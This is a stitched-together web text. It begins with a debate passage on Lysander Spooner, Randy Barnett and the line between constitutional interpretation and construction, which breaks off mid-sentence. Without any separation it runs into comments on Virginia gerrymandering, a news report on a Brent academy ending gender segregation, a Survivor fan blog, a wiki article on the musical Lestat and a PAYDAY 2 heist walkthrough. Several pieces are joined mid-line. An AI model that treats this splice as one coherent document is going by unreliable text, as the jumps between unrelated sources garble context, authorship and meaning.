The problem of ambiguity can usually, though not always, be resolved by originalist interpretive method. Even when we are not entirely certain which of the multiple senses of a word or phrase is the intended meaning, historical evidence almost always establishes one meaning as more probable than the others.
Special problems of potentially irresolvable ambiguity can arise either when the evidence of meaning is lost or nonexistent, or when the drafters deliberately injected ambiguity into the text by using euphemisms. This is what the founders did when they referred to slavery by using euphemisms rather than the clear word “slavery,” which they fastidiously avoided including in the text.
It was the potential ambiguity created by these euphemisms that Spooner exploited when he attempted to identify an innocent meaning of each and every passage of the Constitution that was alleged to have referred to slavery. Having identified an ambiguity, he could then employ his “clear statement” rule of construction, which he borrowed from John Marshall. In my essay, I explain why this argument fails if, in context, the communicated content of the words was not in fact ambiguous, as I believe to have been the case with the offending passages of the Constitution.
In contrast, when it comes to giving legal effect to vague provisions, the terms themselves—even when interpreted contextually—simply do not contain the information necessary to decide matters of application. What is a “reasonable” search? For that matter, what exactly is a “search”? Is the thermal imaging of a house to detect increased heat caused by marijuana growing in the basement a search? Because even vague terms have paradigmatic applications lying clearly within the core of their semantic meaning and clearly outside their penumbra, they are not wholly indeterminate. Instead, they are underdeterminate. Clear cases of items that are light or heavy, of actions that are a search or not a search, exist.
This is not to say that, when the information provided by interpretation has run out, all decision rules have run out. We could adopt a decision rule that, where a term is vague, it is given its narrowest meaning. Or, in constitutional cases, we could say that, whenever the text is vague, legislatures have a free choice in borderline cases and cannot be second-guessed by judges. But such decision rules are rules of construction, not rules of interpretation. They are rules that apply when the information conveyed by the text itself is insufficient to decide an issue, but the issue still must somehow be decided. They are not found in the communicative content of the written Constitution.
This is exactly how Spooner’s proposed rule of construction operated: “the court will never, through inference, nor implication, attribute an unjust intention to a law; nor seek for such an intention in any evidence exterior to the words of the law. They will attribute such an intention to the law, only when such intention is written out in actual terms; and in terms, too, of ‘irresistible clearness.’”
Spooner is acknowledging here that clearly communicating an “unjust intention” in “actual terms” would be the communicative content of the text. If so, we would still need to decide whether we ought to adhere to that meaning or give it “legal effect.” But when the intention was clearly conveyed, we could not then deny that such was the meaning of the Constitution, which is why Spooner spent so much energy showing that the communicative content of the text was ambiguous. For each of the references to slavery, he found an “innocent” meaning.
Before the traditional distinction between interpretation and construction was reintroduced into constitutional discourse, constitutional scholars and philosophers often indiscriminately called both activities “interpretation.” But because these are two distinct activities, this failure to distinguish them has long caused enormous confusion.
The phrase “just compensation” in the Takings Clause of the Fifth Amendment, the example offered by David Lyons and cited by Rod, is more accurately conceived as a vague provision rather than an ambiguous one. The communicative content of the phrase clearly refers to monetary payments to the property owner. The issue is exactly how much compensation is enough to “justly” compensate the owner for the deprivation of his or her property? Just as there are clear cases of “light” and “heavy” objects, there will be clear cases of compensation that is unjustly low or extremely generous. The communicative content of “just compensation,” however, does not itself resolve the matter of borderline cases. Therefore, rules of constitutional construction will be needed to give the Takings Clause legal effect.
Rod focuses on Spooner’s treatment of the term “due” in Article IV’s requirement that persons held to service be “delivered up on claim of the party to whom such service or labor may be due.” Of course, like Lyons, Spooner might be improperly conflating interpretation with construction here, but he need not be read as doing so. Although he might be making a moral realist argument here, Spooner’s own rule of construction eschews such an argument when it concedes that the meaning of the “actual terms” of the text might well be unjust provided that meaning was communicated clearly. For this reason, Spooner then focuses on the innocent meaning of the word “due” to show that it renders innocent the entire sentence in which it appears:
No person held to service or labor in one state, under the laws thereof, escaping into another, shall, in consequence of any law or regulation therein, be discharged from such service or labor, but shall be delivered up on claim of the party to whom such service or labor may be due.
But if, at the time it was enacted, the communicative content of this sentence as a whole was taken by all reasonable readers as referring to slavery—then Spooner’s argument about the meaning of “due” fails because the sentence, in context, was neither innocent nor ambiguous.
Legitimacy and Justice
Matt Zwolinski notices my claim that a “legitimate constitution is one that adopts procedures to ensure that the laws that are imposed on the nonconsenting public are likely to be just.” This was an oblique reference to a more extended discussion of constitutional legitimacy in Restoring the Lost Constitution. There, I contended that, if a constitution contains adequate procedures to assure that laws imposed on nonconsenting persons are just (or not unjust), it can be legitimate even if not consented to unanimously, whereas a constitution that lacks adequate procedures to ensure the justice of valid laws is illegitimate even if consented to by a majority.
In my account, there is a “gap” between the justice of a law’s substance and the legitimacy of the law-making procedures that produced it, as well as a gap between a law’s legitimacy and its validity. The concept of legitimacy I have advanced looks to whether the process by which a law is determined to be valid is such as to warrant that the substance of the law is just.
According to my usage, therefore, a valid law could be illegitimate and a legitimate law could be unjust. A law may be valid because produced in accordance with all procedures required by a particular lawmaking system, but be illegitimate because these procedures are inadequate to provide assurances that the law is just. Such a law would not be binding in conscience. A law might be legitimate because it is produced according to procedures that assure that it is just, and yet be unjust because in this case the procedures (which can never be perfect) have failed. Such a law would be binding in conscience unless its injustice was somehow established.
In other words, there is a “gap” between the legitimacy of a law-making system, such as the one established by the Constitution, and the justice of the laws that are produced by this system. This gap is the difference between the actual justice of any particular law and the likelihood that laws resulting from particular procedures are just. Why a law might bind in conscience because it is likely to be just is too involved to fully elaborate here. But consider an analogy.
Consumers presume that the sausages they buy in a grocery store are wholesome and fit for consumption, though they have no personal knowledge that this is the case. They give the sausages the benefit of the doubt. Moreover, their presumption is (or ought to be) based not on the inspection of each and every sausage for wholesomeness, but on the process of sausage manufacturing that, if properly designed, assures that sausages produced this way are highly likely to be fit for consumption and are entitled to the benefit of the doubt. In essence, the perception that the sausages are wholesome is based on faith in the system that made them. But the truth of whether the sausage-making process is indeed “legitimate” is based on whether this faith in the process is rationally warranted.
So too with laws that are produced by a process that ensures their wholesomeness or justice. Like sausages, when laws are made by procedures that assure they are “wholesome,” such laws deserve the benefit of the doubt. There is a duty to obey, not merely because a law was validly made, but because the procedures by which it was made give us reason to believe that such laws do not violate the rights of the nonconsenting persons on which they are imposed. Because this assessment is probabilistic, rather than absolute, the duty of obedience created by such a legitimate law-making process is defeasible or prima facie. Like the sausages purchased in the store, the existence of such a duty may be rebutted by close individual inspection.
As I have explained at greater length elsewhere, this gap between the concepts of “legitimacy” and “justice” necessitates a refinement of contemporary libertarian theory. A radical libertarian could hold that a legal system is unjust because it confiscates its income by force and puts its competitors out of business by force, but still believe it to be legitimate because the laws it imposes on nonconsenting persons are formulated, applied, and enforced by procedures that assure they are just. In short, an unjust legal system could still be legitimate if it has a good design or “constitution.” But, to return to the distinction between interpretation and construction, to decide whether a legal system that is governed by a written constitution is “good,” one must begin by ascertaining what the written constitution means.
Rod contends that by 1870, Spooner came to question the utility of the U.S. Constitution, as well he might have. As I relate in Restoring the Lost Constitution, after taking constitutional law in law school, I too concluded that the Constitution had failed, because most of its liberty-protective provisions had been ignored. For this reason, when I went into teaching I became a contracts professor.
In my writings I claim only that if it was followed, the text of the Constitution—as it has been amended—would be legitimate in the sense I use that term. I do not claim that the law-making and application system in operation today can impart the benefit of the doubt on the laws it promulgates and enforces. Of course, even if it does not, one may still obey its laws out of a well-justified desire to avoid the costs of punishment for disobedience.
But our republican Constitution has not been repealed and still means what it says. Most Americans believe that it is the governing document of the United States, which makes it worthwhile to ascertain its meaning and insist that it ought to be followed. This was Spooner’s project in 1845. And such insistence would be consistent with justice even if the regime established by text of the Constitution is in some important ways unjust, and even if, as Spooner claimed in 1870, it did not enjoy the actual consent of We the People, each and every one.
Endnotes
Lysander Spooner, The Unconstitutionality of Slavery (Boston: Bella Marsh, 1860), 220.
E. Allan Farnsworth, “’Meaning’ in the Law of Contracts,” Yale Law Journal, vol. 76 (1967): 939, 953.
See U.S. Const. art. I § 2, cl. 3, amended by U.S. Const. amend. XIV (referring to slaves as “other Persons”); ibid. at § 9, cl. 1 (referring to slaves as “such Persons” and “each Person”); ibid. at art. IV § 2, cl. 3 (referring to slave as a “Person[s] held to Service of Labour”). See James McClellan, Liberty, Order, and Justice: An Introduction to the Constitutional Principles of American Government (3rd ed.) (Indianapolis: Liberty Fund, 2000). </titles/679#McClellan_0088_1034>. The specific articles and clauses in "APPENDIX C: Constitution of the United States of America (1787)" </titles/679#lf0088_label_092>:
art. I § 2, cl. 3, amended by U.S. Const. amend. XIV (referring to slaves as “other Persons”) </titles/679#McClellan_0088_961>
ibid. at § 9, cl. 1 (referring to slaves as “such Persons” and “each Person”) </titles/679#McClellan_0088_1000>
ibid. at art. IV § 2, cl. 3 (referring to slave as a “Person[s] held to Service of Labour”) </titles/679#McClellan_0088_1034>
See, e.g. Kyllo v. United States, 533 U.S. 27 (2001) (holding that thermal imaging a house from a public vantage point is a search under the Fourth Amendment).
See Lawrence B. Solum, “On the Indeterminacy Crisis: Critiquing Critical Dogma,” 54 Univ. of Chicago Law Review, vol. 54 (1987): 462, 473 (distinguishing between indeterminacy and underdeterminacy).
Spooner, The Unconstitutionality of Slavery, 220
See Randy E. Barnett, “Libertarianism and Legitimacy: A Reply To Huebert,” Journal Of Libertarian Studies, vol. 19, No. 4 (Fall 2005): 71-78. <https://mises.org/library/libertarianism-and-legitimacy-reply-huebert>.
Randy E. Barnett, Our Republican Constitution: Securing the Liberty and Sovereignty of We the People (Broadside Books, 2016). Amazon.com: <http://www.amazon.com/dp/0062412280/ref=cm_sw_su_dp>.
2. Matt Zwolinski, "On Clear Cases of Injustice" [Posted: Jan. 13, 2016]↩
Randy’s helpful distinction between constitutional interpretation and constitutional construction helps to make clear that there are two questions we must ask when thinking about how to understand the U.S. Constitution (or any constitution). First, what does the Constitution say; and second, what -- in practical legal terms -- should we do about what it says?
Let’s focus on that second question for now. There are three obvious ways of answering that question which reflect different ways of understanding the relationship between the Constitution and natural justice.
We ought to implement whatever the Constitution says regardless of the justice or injustice of its principles. We ought to implement whatever the Constitution says only insofar as its principles are consistent or can be construed as consistent with justice. We ought to implement whatever the Constitution says only insofar as its principles are consistent or can be construed as consistent with justice, or if the unjust intention of the author(s) of the Constitution was expressed with irresistible clearness.
Thankfully, nobody around here seems to be at all interested in option 1. Option 2 seems to be roughly the view expressed by Roderick in his essay. And option 3 is the view that Randy attributes to Lysander Spooner.
My question is: why would anyone ever go for option 3? Option 1 is crazy, of course, but at least, along with option 2, it seems to take a consistent position on the relationship between constitutions and justice. Option 1 says that justice doesn’t matter at all in construing the Constitution. Option 2 says justice reigns supreme -- that the injustice of a construction is always sufficient reason for rejecting it.
Option 3, on the other hand, appears to occupy a kind of wishy-washy middle ground. Basically, it says that we should reject any construction of the Constitution that is inconsistent with natural justice unless the authors were really, really clear that injustice is precisely what they wanted.
Why would anyone ever think this? If natural justice is a good reason to read a vague constitutional phrase in one way rather than another, then why isn’t it also a good reason to ignore, dismiss, or erase phrases that are clearly unjust?
This is especially puzzling when we recall, as Randy reminds us, that construction is a normative enterprise. What we ought to do about the question is a separate question from what the Constitution says. But if constitutional construction is normative, and justice is something close to the supreme normative principle -- a “trump” -- then why should we ever choose to give practical effect to a clearly unjust aspect of the Constitution?
And why would Spooner, of all people, think this? If he really believed, as he said, that "If [the government’s] laws command anything but justice, or forbid anything but injustice, they are themselves unjust and criminal,” then why would he make an exception when the unjust command is expressed without a trace of vagueness or ambiguity?
Endnotes
Lysander Spooner, A Letter to Grover Cleveland, on his false Inaugural Address, the Usurpations and Crimes of Lawmakers and Judges, and the consequent Poverty, Ignorance, and Servitude of the People (Boston: Benjamin R. Tucker Publisher, 1886). </titles/2224#Spooner_1481_14>.
3. Aeon Skoble, "Thesis and Nomos" [Posted: Jan. 13, 2016]↩
Roderick Long concludes his essay by saying, “I’d also be interested in discussing the relation between Spooner’s and Hayek’s theories of law.” Let’s do that. Here’s Barnett on Spooner again:
“If legislation be consistent with natural justice, and the natural or intrinsic obligation of the contract of government, it is obligatory: if not, not.” [Spooner, The Unconstitutionality of Slavery, 8] For Spooner, then, the choice was a conception of law that was consistent with natural justice, which would then carry with it a duty of obedience, or a conception of law based solely on the successful imposition of power, which there would be no moral duty to obey.
Spooner also notes that “only laws that are consistent with the natural and inalienable rights of the people can justly claim a duty of obedience.” Spooner, then, is aware that there are things we call laws, but which really have no basis other than someone’s use of coercion to compel obedience, and other things, sometimes called laws, which are consistent with natural justice.
This distinction calls to mind Hayek’s distinction between thesis and nomos. In Law, Legislation, and Liberty, Hayek uses thesis for rules |
the bill and call on other Virginia Senators to support its passage. It is time to end gerrymandering in Virginia!
Rover 530 · February 2, 2017 at 9:57 pm Whenever term limits come up the argument against them is that the voters can limit the terms of their representatives by voting for someone else. However, this is rarely done since the voter pool rarely changes. The pool needs to change or the selection of candidates needs to change.
whittyp · February 1, 2017 at 9:58 pm If you are concerned about redistricting reform there is a program on "How to Establish Non-Partisan Electoral Districts in Virginia" at 7 p.m., Feb 16 at the John Barton Payne Building, 2 Courthouse Square in Warrenton. Be informed! Join the discussion.
Dee3 · February 1, 2017 at 11:19 am Fauquier County has been divided through gerrymandering to include two congressional districts and three Virginia House of Delegates districts. We deserve better than that! This should be a nonpartisan issue. Good for those trying to make a change!
Facebook commentsA Muslim-majority, non-faith school is to integrate boys' and girls' classes for the first time, after being placed in special measures by Ofsted.
The Crest Academies in Brent, a secular, non-denominational school which has previously taught the genders separately, has faced protests from parents after the headteacher announced plans to teach boys and girls together as part of his bid to turn the failing school around.
A petition against the move drew nearly three-hundred signatures with petitioners listing a number of reasons for rejecting the move, including one who said "I am signing this because my younger sister [will] be attending the school and I do not wish for her to be exposed to the other gender as I am a MUSLIM male who does not approve of this."
He added that the reason she applied to the school was "the segregation" of students by gender.
Many other petitioners objected because the school had a history as two separate institutions, with distinct boys' and girls' school, or over fears that integrating teaching would lead to poorer outcomes for female students.
Another petitioner said "boys and girls should be in separate building" and one warned that parents wouldn't send their children to a mixed school. "Crest has always been segregated and should always be like that," said one complainant.
The petition said that Brent was one of the most "diverse communities in the UK" with a range of cultural and religious "preferences".
An Ofsted inspection in January 2015, which rated the school as inadequate, said: "Boys and girls are separated for teaching, in the playgrounds, at lunchtime and around the Academy. This limits opportunities for them to work together, socialise and learn to get on."
There were also marked differences in attainment between male and female pupils. Ofsted found that "boys' attitudes to learning are not as positive as those of girls" and that girls' "progress in English is better than that found nationally." The inspectors made several criticisms of boys' teaching, and noted that marking was "generally better in girls' books."
The Crest Academies were formed from a merger of the Crest Boys' and Crest Girls' academies, and Ofsted noted that while the minimum standard was met by the former girls' Academy, it was not by the boys' and the combined school did not meet the required standard either.
In spite of the difficulties the school faced, "parental preference rather than educational value" resulted in the continued gender separation in the merged Academy, and Ofsted noted that "this approach does not promote equal opportunities for all."
Inspectors also criticised the "separate teaching of personal, moral and cultural development" which they said "limits opportunities for social interaction and debate between boys and girls". This arrangement was failing to prepare students "fully for life in modern Britain", they reported.
Despite combining the two academies, students were still segregated by gender and taught separately. Headteacher Mohsen Ojja has now initiated reforms and wrote in the TES that he had a "moral duty" to "prepare young people for modern Britain" and that things at the school "had to change" after the sharply critical Ofsted report.
"One year on, we have revisited the decision to educate boys and girls separately, and the start of the new school year will see the emergence of the Crest Academy, offering co-education for the first time."
He added that move had not been "without controversy" and said that parents had been much less supportive than students and staff. The Brent and Kilburn Times reported that there was "anger" from parents over the plans, back in July.
"Running two schools in parallel, split by gender, was tantamount to unhealthy segregation," Mr Ojja said.
"The move to a single, multi-faith, proudly diverse school is the first important step to integration. Moreover, I am the principal of a secular, non-denominational school that has a large majority of Muslim students. This does not make the school a Muslim school where segregation of gender should be pursued."
National Secular Society campaigns manager, Stephen Evans, commented: "It's encouraging to see the headteacher stressing the secular nature of the school and taking a principled stance in the face of unreasonable demands for religiously based gender segregation. Religious considerations shouldn't be placed above the educational needs of pupils, nor should gender segregation be considered acceptable for religious reasons in a state school."The Funny 115 - The Third One
#66. Carolyn and the Amazing Resting Bitch Face
Worlds Apart - all season long
In season thirty of Survivor, we were introduced to a fierce new competitor who was liked and respected by all, who was amazing in the challenges, and who came very very close to winning the game.
No, not Will
No, I can only be talking about Carolyn Rivera, aka "Mama C."
Who not only came exceptionally close to winning Worlds Apart, you could easily make the case that she probably should have. But didn't because middle aged women tend to get screwed during this particular era of Survivor.
Carolyn has a message for the Worlds Apart jury
Oh, and also the fans that didn't vote her back in for Cambodia
So anyway, you have Carolyn. Who was smart. And who was fierce. And who was a great competitor. And who above all was just the all-around package.
But I don't want to talk about any of that.
No, I'm here because I want to pay tribute to that amazing resting bitch face that she has.
Do you know what a resting bitch face is? Chances are, if you have spent any time on the internet over the past twenty years, you probably do.
A resting bitch face is, quite simply, when a person has no expression on their face, yet they somehow just naturally look mean. Or unpleasant. Or unapproachable. Or they somehow look like they are sneering at you.
Or, in the case of Carolyn, sometimes you get all four
Resting bitch faces are not new. In fact, they are not even specific to females. The first resting bitch face in recorded history actually came back in Ancient Greece, when playwright Aeschylus pointed out that rival playwright Euripides always appeared as if he had a stick up his butt.
Resting bitch faces are not new, they can't be controlled, and they are nothing to be ashamed of. Heck, my teenage daughter even has an amazing RBF, and she is quite proud of it. She claims it is great because no one at school will ever approach her, so she never has to talk to anyone.
Also, I should point out that Carolyn wasn't even the first Survivor to have an amazing resting bitch face. Ami Cusack back in Vanuatu probably had the best RBF before Carolyn came around.
The patented Ami sneer
More Ami
Ami was great at this face. But Ami was also no Carolyn Rivera, which I am about to demonstrate for you.
And so here we go. My Top 20 moments of Carolyn having an amazing resting bitch face in Survivor: Worlds Apart.
As one of my readers, Tom Dube, accurately pointed out, "It's most prominent in scenes when she's listening to someone. She has this little facial feature where she curls her lip, which almost makes it look like she's snarling at whoever is talking."
And with that, enjoy the countdown.
This one was a lot of fun to put together. :)
CAROLYN'S TOP TWENTY RBFs IN SURVIVOR: WORLDS APART
#20. When you have to listen to Rodney
#19. When you have to listen to Joaquin
#18. When you have to listen to Shirin
#17. When you're stuck on a tribe with Max
#16. When you realize you lost a returning player vote to Kelley Wentworth
#15. When you first see Dan in his manties
#14. Great sympathy for Jenn being stung in the cooter
#13. Fuck you. Seriously, just fuck you.
#12. I'm on Survivor, this is my dream
#11. Hi, I'm Mama C, please approach me
#10. Sierra, you make a great point and I am happy to hear it
#9. When you have to listen to Mike
#8. When you see Mike doing the god damn happy dance
#7. When you get no airtime at the reunion show
#6. Yay! I get to deliver toys to kids!
#5. When Hali keeps going on and on about the Constitution
#4. When they accidentally include Rodney in your vanity shot
#3. When you have to listen to people and be all social and shit
#2. When Shirin won't shut up about what a big fan she is
And, of course, the most glorious Carolyn RBF of them all...
Found at 32:17 of episode ten...
#1. When you're stuck on Worlds Apart and this is your peer group
And so there you have it. My tribute to a player that a lot of people don't remember, but who was absolutely one of the most entertaining characters in one of the most entertaining seasons. I mean, if there's NOTHING else you like about Worlds Apart, just watch it to see Carolyn (and to a lesser extent Jenn) just standing around and reacting to stuff. Some of the faces she makes are just glorious.
And, to be fair, Carolyn isn't always like this in the episodes. When she gets animated and happy and smiley, she is as giddy as anyone.
But man is that RBF spectacular when she decides to break it out.
In fact, we even see a variant of it in her very first shot in the intro.
Boy I hope that nine foot tall bearded guy isn't on my tribe
So here's to Carolyn. One of the underrated gems of what I consider the most underrated of the modern Survivor seasons.
When you see Dan sexy biting an M&M again
In fact, I think I'll wrap up this entry with a quote from Max from one of his post game interviews. This one sums up Carolyn's success as a player in a nutshell.
"In one of my exit interviews I was asked why I didn't realize that Carolyn had flipped when it was so obvious in the episode. And my answer was that she always had the same RBF so it was impossible to gauge her emotions."
** Thank you to kidnifty for the FUBC/Worlds Apart picture **Lestat is a Broadway musical inspired by Anne Rice's The Vampire Chronicles. The score is by Elton John and Bernie Taupin, with the book by Linda Woolverton. The musical had a brief run on Broadway in 2006.
Production history [ edit ]
The musical had a reading in November 2003, with the title The Vampire Lestat. The reading cast featured James Barbour as Lestat, Jack Noseworthy, Steve Blanchard and Max Von Essen.[1]
Lestat premiered at the Curran Theatre, San Francisco, California on December 17, 2005 and closed on January 29, 2006.[2] The musical opened on Broadway at the Palace Theater on March 25, 2006 and closed on May 28, 2006, after 33 previews and 39 performances.[2][3] The musical was directed by Robert Jess Roth with musical staging by Matt West. Scenic design was by Derek McLane, costume design by Susan Hilferty, lighting design by Kenneth Posner, sound design by Jonathan Deans, visual concept design by Dave McKean, and hair design by Tom Watson. The title role of Lestat was played by Hugh Panaro, and the cast starred Carolee Carmello as Gabrielle, Drew Sarich as Armand, Jim Stanek as Louis, Roderick Hill as Nicolas, Michael Genet as Marius, and Allison Fischer as Claudia.[4] The choreographer Jonathan Butterell was added to the Broadway creative team "to give his perspective on the staging."[5]
Elton John explained that he had written two new songs for the Broadway production: "Right Before My Eyes" and "My Beautiful Boy," for Lestat's mother, Carolee Carmello. He also noted that "The storyline has certainly changed in Lestat."[5] An additional change is that "Lestat typing his memoirs into a laptop, with super titles being shown to the audience, has been abandoned since San Francisco."[6] The CurtainUp reviewer noted: "Press reports from out-of-town about songs, characters, scenes and performers being dropped and/or replaced indicated that there was plenty of work to do on this particular incarnation."[4]
The pre-Broadway version of Lestat was very different from the Broadway version. Even though it was the highest-earning pre-Broadway play in San Francisco history (beating out Wicked and Cats), the company had drastically revised the play. The San Francisco version had far more elaborate stage effects and production values and included projected images illustrating the main character, Lestat's, story.
The Broadway version of Lestat was more interpretive and used fewer projections; it also cut quite a few plot elements. "In Paris", a duet sung by Nicolas and Lestat, was replaced by a number called "In Paris Sequence," which expanded the original "In Paris" lyrics to include Lestat's first arrival in Paris and his first sight of Nicolas's work at the theater. The play-within-a-play at the Vampire theater was changed from the number "Origin of the Species"—which explained the legend of King Enkil and Queen Akasha—to "Morality Play," which treated the relationship between Armand and Marius. The revision completely scrapped any references to The Queen of the Damned; later in previews, Queen Akasha and King Enkil were cut from the show completely.
Synopsis [ edit ]
This synopsis reflects the final, New York version.
Act I
Lestat leaves his mother Gabrielle to go to Paris to live with his friend Nicolas ("My Beautiful Boy"). He finds Nicolas working as an actor in a small theater, happy with his life ("In Paris"). They go to Nicolas' flat and it becomes clear they're in love with each other ("The Bugs and the Bears"). A vampire called Magnus attacks Lestat and turns him into a vampire ("The Thirst"). He struggles with this, and hides from his mother when she comes looking for him ("Right Before My Eyes"). Eventually he finds her and makes her a vampire to save her life, as she is sick ("Make Me As You Are"). They meet a vampire named Armand, who leads a group of satanist vampires. He denounces them as blasphemers, but Lestat reveals to his followers that they do not actually serve the Devil ("The Dark Laws / To Live Like This"). They decide to become a troupe of actors. Nicolas is discovered among them, and Lestat eventually transforms him too. The troupe's first play tells the story of Armand and Marius, his maker ("Morality Play"). Nicolas is in a catatonic state after his transformation, and Lestat decides to find Marius to heal him. Ten years pass. Gabrielle decides to leave Lestat and see the world ("Crimson Kiss"). Nicolas speaks for the first time, asking to be released. Lestat lights a fire to kill him, and scatters the ashes ("Right Before My Eyes" (reprise)) as Marius appears.
Act II
Marius claims that he could not have saved Nicolas. He encourages Lestat to go to America. Once there, he meets and falls for a young self-destructive Creole, Louis ("Welcome to The New World"). Louis agrees to let Lestat make him a vampire. They live together for a time, but Louis becomes dissatisfied with the vampiric life ("Embrace It"). Lestat transforms Claudia, an orphan girl, which horrifies Louis, who nevertheless agrees to help raise her. Time passes. Claudia has a greater craving for blood, having been transformed at a young age ("I Want More"). She mourns the fact that she will stay a child forever ("I'll Never Have That Chance"). Lestat apologizes, and she tries to kill him. Louis burns down the house. Later, on a ship, Lestat is wounded and thinks of what his life has become ("Sail Me Away"). He returns to Armand and the theater, where he discovers Louis and Claudia as members of the troupe. Armand and the others kill Claudia for trying to kill Lestat despite his protests ("To Kill Your Kind"). Louis leaves ("Embrace It" (reprise)). Armand mocks Lestat when he asks why he killed Claudia ("After All This Time"). They argue about what Marius said, and Lestat is thrown from the roof, breaking his legs. He prepares to die in the coming sunlight ("Sail Me Away" (reprise)), but Marius and Gabrielle arrive and convince him to save himself ("Crimson Kiss" (reprise)). The light goes off. Lestat appears, dressed in modern clothes, and says "I am the Vampire Lestat, and I will live forever."
Broadway opening cast [ edit ]
Main Roles [ edit ]
Lestat (tenor) – The protagonist, a young Frenchman whose life we follow as he attempts to make his way in the world after unwillingly becoming a vampire. Lively and confident, though also sometimes selfish, but with the best of intentions.
(tenor) – The protagonist, a young Frenchman whose life we follow as he attempts to make his way in the world after unwillingly becoming a vampire. Lively and confident, though also sometimes selfish, but with the best of intentions. Gabrielle (mezzo-soprano) – Lestat's mother, who urges him to leave home and make a life in Paris. She later becomes his first fledgling and companion. Strong and free-spirited.
(mezzo-soprano) – Lestat's mother, who urges him to leave home and make a life in Paris. She later becomes his first fledgling and companion. Strong and free-spirited. Nicolas (baritone) – An actor and violinist in Paris who is Lestat's dear friend (and love-interest). He is pure and good-natured.
(baritone) – An actor and violinist in Paris who is Lestat's dear friend (and love-interest). He is pure and good-natured. Armand (tenor) – The leader of the underground coven in Paris later to become the Theater of the Vampires, who desires revenge against Lestat for breaking up his coven. Vindictive and manipulative.
(tenor) – The leader of the underground coven in Paris later to become the Theater of the Vampires, who desires revenge against Lestat for breaking up his coven. Vindictive and manipulative. Louis (tenor/baritone) – A depressed plantation owner in New Orleans who becomes Lestat's somewhat unwilling companion in the New World. As a vampire, he is tormented by his conscience. Often quiet and melancholy.
(tenor/baritone) – A depressed plantation owner in New Orleans who becomes Lestat's somewhat unwilling companion in the New World. As a vampire, he is tormented by his conscience. Often quiet and melancholy. Claudia (soprano) – An orphan child made into a vampire by Lestat, in order to keep Louis from leaving him. She harbors anger towards Lestat for robbing her of her mortal future. Begins as a demanding young girl, but over time develops a grown woman's mind.
Other Roles
Marius – "The Ancient One", the oldest of the vampires. Wise but eccentric.
– "The Ancient One", the oldest of the vampires. Wise but eccentric. Magnus – Lestat's maker, who goes into the fire shortly after choosing his heir.
– Lestat's maker, who goes into the fire shortly after choosing his heir. Laurent – A vampire of the Theater.
Ensemble: Vampires of Armand's coven/the Theater of the Vampires, Parisians, people of New Orleans.
Reviews [ edit ]
Reviews of the Broadway production were uniformly negative. The New York Post's verdict was "Bloody Awful", and the Newark Star-Ledger opined that it was "just deadly."[7] Lamenting the show's "soporific" nature, Ben Brantley of The New York Times wrote: "Joining the ranks of Ambien, Lunesta, Sonata and other prescription lullaby drugs is "Lestat," the musical sleeping pill...Dare to look upon "Lestat" and keep your eyelids from growing heavier and heavier and heavier."[8] Brantley also characterized the play's songs as "pulpy and mostly interchangeable". Washington Post critic Peter Marks mused that "Lestat's contribution to art and equality is demonstrating that a gay vampire with a two-octave range can be just as dull as a straight one."[9]
Songs [ edit ]
Sources: Internet Broadway database;[10] CurtainUp [4]
Act I "From the Dead" – Lestat
"Beautiful Boy" – Gabrielle
"In Paris" – Nicolas, Lestat
"Nicolas' Song" – Nicolas
"The Thirst" – Lestat
"Right Before My Eyes" – Lestat
"Make Me As You Are" – Gabrielle, Lestat
"To Live Like This" – Armand, Lestat, Ensemble (vampires)
"Morality Play" – Laurent, Armand, Ensemble (vampires)
"The Crimson Kiss" – Gabrielle
"Right Before My Eyes" (Reprise) – Lestat Act II "Welcome to the New World" – Ensemble (New Orleans residents)
"Embrace It" – Louis, Lestat
"I Want More" – Claudia
"I'll Never Have That Chance" – Claudia
"Sail Me Away" – Lestat
"To Kill Your Kind" – Armand, Ensemble (vampires)
"Embrace It" (Reprise) – Louis
"After All This Time" – Armand
"Sail Me Away" (Reprise) – Lestat
"The Crimson Kiss" (Reprise)/Finale – Gabrielle, Lestat
Recordings [ edit ]
The Original Broadway Cast Recording was recorded by Mercury Records on May 22, 2006 and was produced by Guy Babylon and Matt Still. After the show's closing however, Elton John's management stated "there are no plans to release the recording at the present."[11]
Awards and nominations [ edit ]
Original Broadway production [ edit ]"Gentlemen, voting in DC is about to commence. We need to swing a few voters the right way. You can help." —The Elephant offering the heist
Election Day is a two-day heist in PAYDAY 2. It was added for free in Update #25.
The crew must place a GPS tracker on the truck moving the ballot machines in order to hack the ballot machines later on.
The heist contractor is The Elephant who wants to make sure the vote is swung in favor of his mayoral candidate Bob McKendrick. In exchange he will use his connections to help the old Hoxton be transferred out of Hazelton to a prison with lighter security.
This heist is noteworthy for having a great emphasis on stealth over aggression, with the maximum reward to the crew if they can complete day 1 correctly and maintain stealth throughout.
Contents show]
Day 1 (Right Track) Edit
Objectives Edit
Get inside the docks. Find which Truck has the ballot machines. Tag the correct truck. Escape. Find the computer. Hack it. ( 300 seconds) Escape, OR; Optionally, hack the computer again. ( 300 seconds) Escape.
Purchasable Edit
Ammo Bag Price: $4,000 (Normal)
$6,000 (Hard)
$8,000 (Very Hard)
$12,000 (Overkill)
$20,000 (Mayhem)
$28,000 (Death Wish)
$36,000 (Death Sentence)
Doctor Bag Price: $6,000 (Normal)
$9,000 (Hard)
$12,000 (Very Hard)
$18,000 (Overkill)
$30,000 (Mayhem)
$42,000 (Death Wish)
$54,000 (Death Sentence)
Security Access Price: $7,000 (Normal)
$10,500 (Hard)
$14,000 (Very Hard)
$21,000 (Overkill)
$35,000 (Mayhem)
$49,000 (Death Wish)
$63,000 (Death Sentence)
Vantage point Price: $7,000 (Normal)
$10,500 (Hard)
$14,000 (Very Hard)
$21,000 (Overkill)
$35,000 (Mayhem)
$49,000 (Death Wish)
$63,000 (Death Sentence) Requires the Gage Sniper Pack DLC to unlock
Body Bags Price: $7,000 (Normal)
$10,500 (Hard)
$14,000 (Very Hard)
$21,000 (Overkill)
$35,000 (Mayhem)
$49,000 (Death Wish)
$63,000 (Death Sentence) Requires the Aced Sixth Sense Skill to unlock
Spotter Price: $13,000 (Normal)
$19,500 (Hard)
$26,000 (Very Hard)
$39,000 (Overkill)
$65,000 (Mayhem)
$91,000 (Death Wish)
$117,000 (Death Sentence) Requires the Aced Sixth Sense Skill to unlock
Intel Edit
Gage Courier Packages
Risk Level
Walkthrough Edit
Finding the correct truck Edit
Containers
You can look in open containers scattered across the docks that match the same color as the trucks. You will need to find a container that contains voting cards; the color of the container with the voting cards will be the truck you need to tag with the GPS.
If there are 2 trucks with the same color of the container with the voting cards, then tag the one that doesn't have a second truck from the same company.
